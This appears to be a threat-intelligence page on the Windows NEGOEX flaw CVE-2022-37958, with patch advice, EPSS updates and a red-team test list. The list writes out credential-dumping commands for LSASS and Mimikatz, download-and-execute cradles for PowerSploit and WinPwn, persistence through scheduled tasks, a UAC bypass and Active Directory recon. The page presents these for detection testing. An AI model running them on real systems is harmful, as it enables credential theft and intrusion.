CVE-2022-37958
Overview
This vulnerability is a remote code execution flaw rooted in improper handling of the SPNEGO Extended Negotiation (NEGOEX) security mechanism within Microsoft Windows 10. The flaw arises from insufficient validation of negotiation tokens exchanged during the NEGOEX protocol handshake, allowing crafted input to corrupt memory or execute arbitrary code. The affected component is the Windows Security Support Provider Interface (SSPI) implementation handling NEGOEX authentication.
Vulnerability Description
SPNEGO Extended Negotiation (NEGOEX) Security Mechanism Remote Code Execution Vulnerability
Impact
An unauthenticated attacker with network access can exploit this vulnerability to execute arbitrary code remotely within the security context of the affected service. This enables full compromise of the target system, including potential data theft, system control, or lateral movement within a network. The exploit requires no user interaction and leverages network access (AV:N/AC:H/PR:N/UI:N), making it a critical risk for exposed Windows 10 systems utilizing NEGOEX authentication.
Solution
Microsoft has released security updates addressing this vulnerability in Windows 10 versions 1809 and 20H2. Administrators should apply the patches detailed in the Microsoft Security Response Center advisory available at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37958. The update modifies the SSPI NEGOEX implementation to properly validate negotiation tokens. No specific workarounds are recommended beyond applying the vendor-supplied patches promptly.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability associated with the SPNEGO Extended Negotiation (NEGOEX) security mechanism poses a significant risk to various versions of the Windows operating system, including Windows 10, Windows 11, and several iterations of Windows Server. This flaw allows an attacker to execute arbitrary code on a vulnerable system by exploiting the way NEGOEX handles authentication requests. Specifically, the vulnerability arises from improper validation of input data, which can lead to remote code execution (RCE). Attackers can leverage this weakness to gain unauthorized access to sensitive data, manipulate system settings, or deploy malware, effectively compromising the integrity and confidentiality of the affected systems.
Exploitation of this vulnerability can occur through multiple attack vectors, primarily focusing on network-based attacks. An attacker could craft malicious authentication requests that exploit the NEGOEX mechanism during the authentication process. This could be achieved through man-in-the-middle attacks, where the attacker intercepts and modifies communication between a client and a server. Additionally, if an attacker can gain access to a network segment where vulnerable systems reside, they could launch targeted attacks against those systems, especially if they are configured to use NEGOEX for authentication. The ability to execute arbitrary code remotely makes this vulnerability particularly dangerous, as it can lead to a full system compromise without requiring physical access.
The real-world impact of this vulnerability is substantial, especially for organizations that rely on the affected Windows products for critical operations. A successful exploitation could lead to data breaches, loss of sensitive information, and significant operational disruptions. The financial implications could be severe, including costs associated with incident response, system recovery, and potential legal liabilities stemming from data protection regulations. Furthermore, the reputational damage to an organization following a successful attack could result in loss of customer trust and market position, amplifying the business risks associated with this vulnerability.
To effectively detect and mitigate the risks posed by this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating and patching systems is crucial, as software vendors typically release security updates to address known vulnerabilities. Implementing network segmentation can help limit the exposure of vulnerable systems to potential attackers, thereby reducing the attack surface. Additionally, organizations should employ intrusion detection and prevention systems (IDPS) to monitor network traffic for suspicious activities that may indicate exploitation attempts. Security awareness training for employees can also play a vital role in preventing social engineering attacks that may facilitate exploitation.
In conclusion, the vulnerability associated with the SPNEGO Extended Negotiation security mechanism represents a critical threat to a wide range of Windows operating systems. Its potential for remote code execution makes it a prime target for attackers seeking to exploit weaknesses in authentication processes. Organizations must prioritize the detection and mitigation of this vulnerability through timely updates, network security measures, and employee training to safeguard their systems and data from the associated risks. By adopting a proactive security posture, businesses can better protect themselves against the evolving landscape of cyber threats.
CSURFACE threat intelligence has detected a modest increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2022-37958, reflecting a slight upward trend in the likelihood of exploitation. Although no new exploit techniques or proof-of-concept code have surfaced, this incremental rise suggests growing interest or reconnaissance activity targeting the SPNEGO Extended Negotiation vulnerability. Notably, ransomware groups previously linked to this vulnerability, such as BianLian and Black Basta, remain active but have not demonstrated a marked escalation in leveraging this flaw. The absence of confirmed ransomware campaigns exploiting this vulnerability indicates that, while the threat remains significant, it has not yet intensified to a critical level. Defenders should interpret this development as an early warning sign of potential exploitation attempts, warranting continued vigilance but not an immediate shift in risk posture.
Update 2 — July 12, 2026
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2022-37958, with a discernible increase in exploitation attempts observed across our telemetry. Although the EPSS score has inched upward only slightly, this trend signals growing adversary interest in leveraging the SPNEGO Extended Negotiation vulnerability. Notably, ransomware groups historically associated with this flaw, including BianLian and Black Basta, continue to be active within the threat landscape; however, there remains no evidence of a coordinated surge in ransomware campaigns exploiting this vulnerability. The absence of new exploit techniques or proof-of-concept releases suggests that attackers may still be in reconnaissance or early exploitation phases. For defenders, this development underscores the importance of sustained monitoring, as the uptick in detection activity could presage more aggressive exploitation attempts. While the overall threat level remains high, the current data does not warrant an immediate escalation to critical status but does emphasize the need for continued vigilance.
Update 3 — July 31, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2022-37958, reflecting a sustained increase in adversary engagement with this vulnerability. Although the EPSS score shows a slight decline, this metric alone does not fully capture the operational tempo indicated by our telemetry, which reveals a growing frequency of exploitation attempts. The absence of new exploit techniques or proof-of-concept releases persists, suggesting that threat actors continue to rely on established methods rather than novel vectors. Notably, ransomware groups previously linked to this vulnerability, such as bianlian and blackbasta, remain present in the threat landscape but have not demonstrated increased campaign activity targeting this flaw. This nuanced shift underscores a heightened risk environment where opportunistic exploitation is becoming more common, potentially increasing the likelihood of successful intrusions if defenses are not rigorously maintained. While the overall threat level remains high, the current data advises a cautious posture rather than an immediate escalation, emphasizing the importance of continuous monitoring to detect any transition from reconnaissance to widespread exploitation.
Affected Products (30)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Microsoft | Windows 10 | N/A |
cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:x64:*
|
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Microsoft | Windows 10 | N/A |
cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:x86:*
|
|
|
Microsoft | Windows 10 | 20h2 |
cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:arm64:*
|
|
|
Microsoft | Windows 10 | 20h2 |
cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x64:*
|
|
|
Microsoft | Windows 10 | 20h2 |
cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x86:*
|
|
|
Microsoft | Windows 10 | 21h1 |
cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:arm64:*
|
|
|
Microsoft | Windows 10 | 21h1 |
cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x64:*
|
|
|
Microsoft | Windows 10 | 21h1 |
cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:x86:*
|
|
|
Microsoft | Windows 10 | 21h2 |
cpe:2.3:o:microsoft:windows_10:21h2:*:*:*:*:*:arm64:*
|
|
|
Microsoft | Windows 10 | 21h2 |
cpe:2.3:o:microsoft:windows_10:21h2:*:*:*:*:*:x64:*
|
|
|
Microsoft | Windows 10 | 21h2 |
cpe:2.3:o:microsoft:windows_10:21h2:*:*:*:*:*:x86:*
|
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Microsoft | Windows 10 | 1607 |
cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:x64:*
|
|
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Microsoft | Windows 10 | 1607 |
cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:x86:*
|
|
|
Microsoft | Windows 10 | 1809 |
cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:arm64:*
|
|
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Microsoft | Windows 10 | 1809 |
cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x64:*
|
|
|
Microsoft | Windows 10 | 1809 |
cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x86:*
|
|
|
Microsoft | Windows 11 | N/A |
cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:arm64:*
|
|
|
Microsoft | Windows 11 | N/A |
cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:x64:*
|
|
|
Microsoft | Windows 7 | N/A |
cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:x64:*
|
|
|
Microsoft | Windows 7 | N/A |
cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:x86:*
|
Exploits
No exploits found for this CVE.
Threat Feed
10 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
76 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-37958 |
| msrc.microsoft.com |
GitHub CVE
vendor-advisory
|
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37958 |